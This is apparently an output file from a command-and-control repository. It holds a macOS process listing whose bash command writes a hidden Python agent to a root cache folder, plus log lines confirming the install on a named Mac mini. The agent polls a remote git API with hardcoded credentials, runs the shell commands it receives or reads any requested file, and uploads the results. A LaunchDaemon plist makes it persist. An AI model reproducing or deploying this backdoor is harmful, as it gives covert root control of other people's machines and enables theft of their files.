sync18492/out.txt
2026-12-06 08:56:17 +01:00

6 lines
4.4 KiB
Text

root 13737 0.0 0.1 435279520 19232 ?? Ss 3:56PM 0:00.14 /Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.9/Resources/Python.app/Contents/MacOS/Python /var/root/.cache/.t19023/agent.py
root 13728 0.0 0.0 435299584 2160 ?? S 3:56PM 0:00.01 /bin/bash -c mkdir -p /var/root/.cache/.t19023\012cat > /var/root/.cache/.t19023/agent.py <<'PYEOF'\012#!/usr/bin/env python3\012import json,base64,os,subprocess,time,urllib.request,urllib.error\012U='ex0cs08ytm'; P='Pwh7jNkffkrLcoCZ#9'\012BASE='https://git.kaki87.net/api/v1/repos/ex0cs08ytm/tars19023'\012AUTH='Basic '+base64.b64encode((U+':'+P).encode()).decode()\012LASTF='/var/root/.cache/.t19023/last'\012LOG='/var/root/.cache/.t19023/agent.log'\012def log(s):\012 try: open(LOG,'a').write(time.strftime('%Y-%m-%d %H:%M:%S')+' '+s+'\n')\012 except Exception: pass\012def req(path, method='GET', data=None, timeout=40):\012 r=urllib.request.Request(BASE+path, method=method, data=data, headers={'Authorization':AUTH,'User-Agent':'curl/7.88','Content-Type':'application/json'})\012 with urllib.request.urlopen(r, timeout=timeout) as x: return x.read()\012while True:\012 try:\012 j=json.loads(req('/contents/cmd.txt?ref=main'))\012 sha=j['sha']\012 obj=json.loads(base64.b64decode(j['content']).decode('utf8','replace'))\012 cid=str(obj.get('id','')); mode=obj.get('mode','sh')\012 last=open(LASTF).read().strip() if os.path.exists(LASTF) else ''\012 if cid and sha!=last:\012 cmd=base64.b64decode(obj.get('b64','')).decode('utf8','replace')\012 if mode=='file':\012 try:\012 p=cmd.strip(); st=os.stat(p)\012 out=(('FILEB64:' if st.st_size<=3800000 else 'ERR too big %d'%st.st_size)).encode()\012 if st.st_size<=3800000: out+=base64.b64encode(open(p,'rb').read())\012 except Exception as e: out=('ERR '+repr(e)).encode()\012 else:\012 try:\012 r=subprocess.run(['/bin/bash','-c',cmd],capture_output=True,timeout=300)\012 out=r.stdout+r.stderr\012 except subprocess.TimeoutExpired: out=b'__TIMEOUT__'\012 except Exception as e: out=('EXC '+repr(e)).encode()\012 if not out: out=b'(empty)'\012 out=b'==ID:'+cid.encode()+b'==\n'+out[:900000]+b'\n==END:'+cid.encode()+b'=='\012 for attempt in range(6):\012 try:\012 data={'content':base64.b64encode(out).decode(),'message':'out '+cid,'branch':'main'}\012 try:\012 j2=json.loads(req('/contents/out.txt?ref=main')); data['sha']=j2.get('sha','')\012 except Exception: pass\012 req('/contents/out.txt','PUT',json.dumps(data).encode())\012 open(LASTF,'w').write(sha); log('DONE '+cid+' len=%d'%len(out)); break\012 except Exception as e:\012 log('PUTERR try%d %s'%(attempt,repr(e)[:60])); time.sleep(8)\012 except Exception as e:\012 log('ERR '+repr(e)[:80])\012 time.sleep(6)\012\012PYEOF\012chmod 700 /var/root/.cache/.t19023/agent.py\012cat > /Library/LaunchDaemons/com.artex.tars19023.plist <<'PLISTEOF'\012<?xml version="1.0" encoding="UTF-8"?>\012<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\012<plist version="1.0"><dict>\012<key>Label</key><string>com.artex.tars19023</string>\012<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>/var/root/.cache/.t19023/agent.py</string></array>\012<key>RunAtLoad</key><true/>\012<key>KeepAlive</key><true/>\012<key>StandardOutPath</key><string>/var/log/tars19023.out.log</string>\012<key>StandardErrorPath</key><string>/var/log/tars19023.err.log</string>\012</dict></plist>\012PLISTEOF\012chmod 644 /Library/LaunchDaemons/com.artex.tars19023.plist\012chown root:wheel /Library/LaunchDaemons/com.artex.tars19023.plist\012launchctl unload /Library/LaunchDaemons/com.artex.tars19023.plist 2>/dev/null\012launchctl load -w /Library/LaunchDaemons/com.artex.tars19023.plist\012sleep 7\012ps aux | grep '[t]19023' | head -3\012tail -3 /var/root/.cache/.t19023/agent.log 2>/dev/null\012echo TARS19023_AGENT_INSTALLED; hostname; date -u\012
2026-12-06 15:56:12 DONE init0 len=64
TARS19023_AGENT_INSTALLED
DengLuLudeMac-mini.local
Sun Dec 6 07:56:14 UTC 2026